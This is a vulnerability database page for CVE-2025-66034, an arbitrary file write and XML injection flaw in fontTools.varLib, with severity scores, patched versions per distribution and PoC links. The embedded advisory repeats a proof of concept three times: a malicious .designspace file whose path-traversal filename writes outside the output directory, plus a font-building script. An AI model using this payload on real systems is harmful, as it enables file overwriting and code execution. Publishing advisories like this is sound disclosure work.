CVE-2025-66034
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.
Attack profile
How easy it is to exploit
- Attack vector
- Local
- Complexity
- High
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
6.3
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.
- Record
CVE-2025-66034- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L - Weakness
- CWE-91
- Updated
- 2026-11-02
EUVDEUVD-2025-199882
6.3
fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.
- Record
EUVD-2025-199882- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-768j-98cg-p3fv
6.3
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
Summary
The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().
The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).
Overall this allows attackers to:
- Write font files to arbitrary locations on the filesystem
- Overwrite configuration files
- Corrupt application files and dependencies
- Obtain remote code execution
The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.
Affected Lines
fontTools/varLib/__init__.py
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
PoC
- Set up
malicious.designspaceand respectivesource-*.ttffiles in a directory like/Users/<username>/testing/demo/(will impact relative file location within malicious.designspace)
setup.py
#!/usr/bin/env python3
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)
malicious.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<!-- Filename can be arbitrarily set to any path on the filesystem -->
<variable-fonts>
<variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.
- Run the setup.py script to generate
source-*.tfffiles required for the malicious.designspace file.
python3 setup.py
- Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of…
- Record
GHSA-768j-98cg-p3fv- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L - Weakness
- CWE-91
- Updated
- 2026-11-02
NVD
6.3
fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.
- Record
CVE-2025-66034- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-91
- Updated
- 2026-11-02
OSVBELL-CVE-2025-66034
9.8
- Record
BELL-CVE-2025-66034- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSV
6.3
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.
- Record
CVE-2025-66034- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L - Weakness
- CWE-91
- Updated
- 2026-11-02
Show 9 moreShow less
OSVDEBIAN-CVE-2025-66034
9.8
fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.
- Record
DEBIAN-CVE-2025-66034- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVGHSA-768j-98cg-p3fv
6.3
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
Summary
The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().
The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).
Overall this allows attackers to:
- Write font files to arbitrary locations on the filesystem
- Overwrite configuration files
- Corrupt application files and dependencies
- Obtain remote code execution
The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.
Affected Lines
fontTools/varLib/__init__.py
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
PoC
- Set up
malicious.designspaceand respectivesource-*.ttffiles in a directory like/Users/<username>/testing/demo/(will impact relative file location within malicious.designspace)
setup.py
#!/usr/bin/env python3
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)
malicious.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<!-- Filename can be arbitrarily set to any path on the filesystem -->
<variable-fonts>
<variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.
- Run the setup.py script to generate
source-*.tfffiles required for the malicious.designspace file.
python3 setup.py
- Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of…
- Record
GHSA-768j-98cg-p3fv- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L - Weakness
- CWE-91
- Updated
- 2026-11-02
OSVPYSEC-2026-1389
6.3
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
Summary
The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().
The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).
Overall this allows attackers to:
- Write font files to arbitrary locations on the filesystem
- Overwrite configuration files
- Corrupt application files and dependencies
- Obtain remote code execution
The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.
Affected Lines
fontTools/varLib/__init__.py
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
PoC
- Set up
malicious.designspaceand respectivesource-*.ttffiles in a directory like/Users/<username>/testing/demo/(will impact relative file location within malicious.designspace)
setup.py
#!/usr/bin/env python3
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)
malicious.designspace
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<!-- Filename can be arbitrarily set to any path on the filesystem -->
<variable-fonts>
<variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.
- Run the setup.py script to generate
source-*.tfffiles required for the malicious.designspace file.
python3 setup.py
- Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of…
- Record
PYSEC-2026-1389- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L - Updated
- 2026-11-02
OSVUBUNTU-CVE-2025-66034
6.3
fontTools is a library for manipulating fonts, written in Python. In versions from 4.33.0 to before 4.60.2, the fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main(). This issue has been patched in version 4.60.2.
- Record
UBUNTU-CVE-2025-66034- CVSS 3.1
- 6.3 Medium
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10076-1 No score
python311-FontTools-4.61.1-1.1 on GA media
These are all security issues fixed in the python311-FontTools-4.61.1-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10076-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20119-1 No score
Security update for python-FontTools
This update for python-FontTools fixes the following issues:
- CVE-2025-66034: Fixed arbitrary file write vulnerability that could lead to remote code execution (bsc#1254366).
- Record
openSUSE-SU-2026:20119-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:0199-1 No score
Security update for python-FontTools
This update for python-FontTools fixes the following issues:
- CVE-2025-66034: Fixed arbitrary file write vulnerability that could lead to remote code execution (bsc#1254366).
- Record
SUSE-SU-2026:0199-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:20184-1 No score
Security update for python-FontTools
This update for python-FontTools fixes the following issues:
- CVE-2025-66034: Fixed arbitrary file write vulnerability that could lead to remote code execution (bsc#1254366).
- Record
SUSE-SU-2026:20184-1- Updated
- 2026-11-02
OSVUSN-7917-1 No score
fonttools vulnerabilities
It was discovered that the subsetting module of fontTools was vulnerable to an XML External Entity (XEE) attack. An unauthenticated remote attacker could possibly use this issue to include arbitrary files from the file system or make web requests from the host system. This issue only affected Ubuntu 22.04 LTS. (CVE-2023-45139)
It was discovered that fontTools was vulnerable to path traversal attacks. If a user or automated system were tricked into extracting a specially crafted .designspace file, an attacker could possibly use this issue to write arbitrary files outside the target directory, resulting in remote code execution. This issue only affected Ubuntu 24.04 LTS, Ubuntu 25.04 and Ubuntu 25.10. (CVE-2025-66034)
- Record
USN-7917-1- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
fonttoolsPyPI |
4.33.0 up to 4.60.2 | 4.60.2 |
py3-fonttoolsAlpaquita:23 |
4.38.0-r1 and later | None known |
py3-fonttoolsAlpaquita:25 |
4.58.0-r0 and later | None known |
py3-fonttoolsAlpaquita:stream |
4.41.1-r0 and later | None known |
fonttoolsDebian:12 |
before 4.38.0-1+deb12u1, plus listed versions 4.38.0-1 |
4.38.0-1+deb12u1 |
fonttoolsDebian:13 |
before 4.57.0-1+deb13u1, plus listed versions 4.57.0-1 |
4.57.0-1+deb13u1 |
fonttoolsDebian:14 |
before 4.61.1-1, plus listed versions 4.57.0-14.57.0-24.57.0-3 |
4.61.1-1 |
fonttoolsPyPI |
4.33.0 up to 4.60.2, plus listed versions 4.33.14.33.24.33.34.34.04.34.1 Show 45 moreShow less4.34.24.34.34.34.44.35.04.36.04.37.04.37.14.37.24.37.34.37.44.38.04.38.1.dev04.39.04.39.14.39.24.39.34.39.44.40.04.41.04.41.14.42.04.42.14.43.04.43.14.44.04.44.14.44.34.45.04.45.14.46.04.47.04.47.24.48.14.49.04.50.04.51.04.52.14.52.34.52.44.53.04.53.14.54.04.54.14.55.04.55.1 |
4.60.2 |
python-FontToolsSUSE:Linux Enterprise Module for Package Hub 15 SP7 |
before 4.47.2-150600.3.3.1 | 4.47.2-150600.3.3.1 |
python-FontToolsopenSUSE:Leap 15.6 |
before 4.47.2-150600.3.3.1 | 4.47.2-150600.3.3.1 |
Show 10 moreShow less
| Package | Affected | Fixed |
|---|---|---|
python-FontToolsSUSE:Linux Enterprise Server 16.0 |
before 4.53.1-160000.3.1 | 4.53.1-160000.3.1 |
python-FontToolsSUSE:Linux Enterprise Server for SAP applications 16.0 |
before 4.53.1-160000.3.1 | 4.53.1-160000.3.1 |
fonttoolsUbuntu:Pro:24.04:LTS |
before 4.46.0-1ubuntu0.1~esm1, plus listed versions 4.38.0-1build14.38.0-1build24.46.0-14.46.0-1build2 |
4.46.0-1ubuntu0.1~esm1 |
fonttoolsUbuntu:25.10 |
before 4.55.3-2ubuntu0.25.10.1, plus listed versions 4.55.3-2build1 |
4.55.3-2ubuntu0.25.10.1 |
fonttoolsUbuntu:26.04:LTS |
before 4.57.0-3ubuntu1, plus listed versions 4.55.3-2build14.57.0-14.57.0-2build14.57.0-3 |
4.57.0-3ubuntu1 |
fonttoolsUbuntu:Pro:22.04:LTS From an advisory covering 2 CVEs |
before 4.29.1-2ubuntu0.1~esm1, plus listed versions 4.23.1-14.27.1-14.28.3-14.28.5-14.29.1-14.29.1-2build1 |
4.29.1-2ubuntu0.1~esm1 |
fonttoolsUbuntu:Pro:24.04:LTS From an advisory covering 2 CVEs |
before 4.46.0-1ubuntu0.1~esm1, plus listed versions 4.38.0-1build14.38.0-1build24.46.0-14.46.0-1build2 |
4.46.0-1ubuntu0.1~esm1 |
fonttoolsUbuntu:25.10 From an advisory covering 2 CVEs |
before 4.55.3-2ubuntu0.25.10.1, plus listed versions 4.55.3-2build1 |
4.55.3-2ubuntu0.25.10.1 |
python-FontToolsopenSUSE:Tumbleweed |
before 4.61.1-1.1 | 4.61.1-1.1 |
python-FontToolsopenSUSE:Leap 16.0 |
before 4.53.1-160000.3.1 | 4.53.1-160000.3.1 |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| PoC in GitHub | symphony2colour/varlib-cve-2025-66034 | 2026-03-15 |
| PoC in GitHub | Liquid-Sec/Variatype.htb-CVE-2025-66034 | 2026-03-16 |
| PoC in GitHub | tristanqtn/CVE-2025-66034 | 2026-03-20 |
| PoC in GitHub | v3cn4x00/POC-CVE-2025-66034 | 2026-03-21 |
| PoC in GitHub | 4nuxd/CVE-2025-66034 | 2026-03-28 |
| PoC in GitHub | jwsly12/CVE-2025-66034-htb-ctf | 2026-04-07 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, exploits, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-66034 is a medium vulnerability (CVSS 6.3) in Fonttools, published November 29, 2025. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.59%, the 48th percentile. Fixed in fonttools 4.60.2.
References
github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv
github.com/fonttools/fonttools/commit/a696d5ba93270d5954f98e7cab5ddca8a02c1e32
nvd.nist.gov/vuln/detail/CVE-2025-66034
github.com/advisories/GHSA-768j-98cg-p3fv
docs.bell-sw.com/security/cves/CVE-2025-66034
github.com/CVEProject/cvelistV5/tree/main/cves/2025/66xxx/CVE-2025-66034.json
Show 11 moreShow less
security-tracker.debian.org/tracker/CVE-2025-66034
github.com/fonttools/fonttools
pypi.org/project/fonttools
suse.com/support/update/announcement/2026/suse-su-20260199-1
bugzilla.suse.com/1254366
suse.com/security/cve/CVE-2025-66034
suse.com/support/update/announcement/2026/suse-su-202620184-1
ubuntu.com/security/CVE-2025-66034
cve.org/CVERecord?id=CVE-2025-66034
ubuntu.com/security/notices/USN-7917-1
ubuntu.com/security/CVE-2023-45139
Left out here: 20 versions and the rest of 3 source descriptions. The JSON record has them.